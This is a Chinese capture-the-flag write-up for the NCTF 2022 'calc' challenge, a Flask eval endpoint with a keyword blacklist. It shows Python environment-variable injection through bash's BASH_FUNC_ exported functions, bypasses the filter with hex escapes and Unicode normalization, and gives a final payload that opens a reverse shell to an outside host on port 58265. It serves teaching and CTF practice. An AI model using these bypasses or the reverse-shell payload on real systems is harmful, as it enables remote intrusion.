[NCTF 2022]calc

发布时间:2023年12月27日

考点:python环境变量注入

打开题目,F12有hint

在这里插入图片描述

访问一下得到源码

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip)
    
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"

def waf(s):
    blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&',
                 'getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess',
                 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self',
                 'item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag = False
            print(no)
            break
    return flag

简单分析下,定义calc函数,接收参数num进行eval计算,存在system函数命令执行;waf过滤了很多

我们看向python中system函数,发现最后会调用/bin/sh -c去执行的命令

在这里插入图片描述

那么是否能通过环境变量注入实现RCE呢,我们完全可以设置环境变量来造成漏洞。思路就是利用eval函数实现变量覆盖使得添加环境变量,然后system函数调用后实现命令执行

我们参考p神的文章构造payload

p神给出存在利用点的bash代码

for (string_index = 0; env && (string = env[string_index++]); ) {
    name = string;
    // ...

    if (privmode == 0 && read_but_dont_execute == 0 && 
        STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
        STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
        STREQN ("() {", string, 4))
    {
        size_t namelen;
        char *tname;        /* desired imported function name */

        namelen = char_index - BASHFUNC_PREFLEN - BASHFUNC_SUFFLEN;

        tname = name + BASHFUNC_PREFLEN;    /* start of func name */
        tname[namelen] = '\0';      /* now tname == func name */

        string_length = strlen (string);
        temp_string = (char *)xmalloc (namelen + string_length + 2);

        memcpy (temp_string, tname, namelen);
        temp_string[namelen] = ' ';
        memcpy (temp_string + namelen + 1, string, string_length + 1);

        /* Don't import function names that are invalid identifiers from the
         environment in posix mode, though we still allow them to be defined as
         shell variables. */
        if (absolute_program (tname) == 0 && (posixly_correct == 0 || legal_identifier (tname)))
            parse_and_execute (temp_string, tname, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
        else
            free (temp_string);     /* parse_and_execute does this */
        //...
    }
}

只需要满足下面情况,temp_string将被传入parse_and_execute执行

  • privmode == 0,即不能传入-p参数
  • read_but_dont_execute == 0,即不能传入-n参数
  • STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10个字符等于BASH_FUNC_
  • STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN),环境变量名后两个字符等于%%
  • STREQN ("() {", string, 4),环境变量的值前4个字符等于() {

前两个条件肯定是满足的,后三个条件是用户可控的,所以这个if语句是肯定可以进入的。进入if语句后,去除前缀BASH_FUNC_和后缀%%的部分将是一个变量名,而由() {开头的字符串将会被执行。

构造如下

env $'BASH_FUNC_myfunc%%'='() { id; }' bash -c 'myfunc'

在这里插入图片描述

那么我们就可以通过env $'BASH_FUNC_myfunc%%'='() { id; }'来添加到环境变量中从而调用后命令执行

在这里插入图片描述

题目是python环境,可以利用os.environ()语法来实现

os.environ['BASH_FUNC_echo%%']='() { id; }'

由于环境变量中是以字典的形式存在的,我们需要用到for来进行变量覆盖

测试如下

a=1
print(a)
for a in [2]:
	pass
print(a)

回显为2成功覆盖,接下来就是如何绕过空格 参考文章

使用 Python 的特色写法—— list 生成器和中括号

>>> a = 0
>>> [[str][0]for[a]in[[1]]]
[<type 'str'>]
>>> a
1

不过本地试了下不行,但是这种遍历赋值的方式对于字典的处理上不太一样,可以直接覆盖指定key的值,所以在对于我们的目标,覆盖os.environ是完全可行的

在这里插入图片描述

构造如下

[[str][0]for[os.environ['BASH_FUNC_echo%%']]in[['() { bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1; }']]]

由于含有空格等在黑名单,我们利用十六进制绕过

在这里插入图片描述

最后就是如何绕过os的检测,考点是python在处理utf-8中的非ascii字符的时候,会被转化成统一的标准格式。

那么就可以用?来代替o实现绕过,最终payload如下

[[str][0]for[?s.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x69\x37\x38\x31\x39\x36\x33\x70\x32\x2e\x79\x69\x63\x70\x2e\x66\x75\x6e\x2f\x35\x38\x32\x36\x35\x20\x30\x3e\x26\x31\x3b\x20\x7d']]]

我们抓包,然后将payload编码一下即可,成功反弹shell

在这里插入图片描述

文章来源:https://blog.csdn.net/m0_73512445/article/details/135243131
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。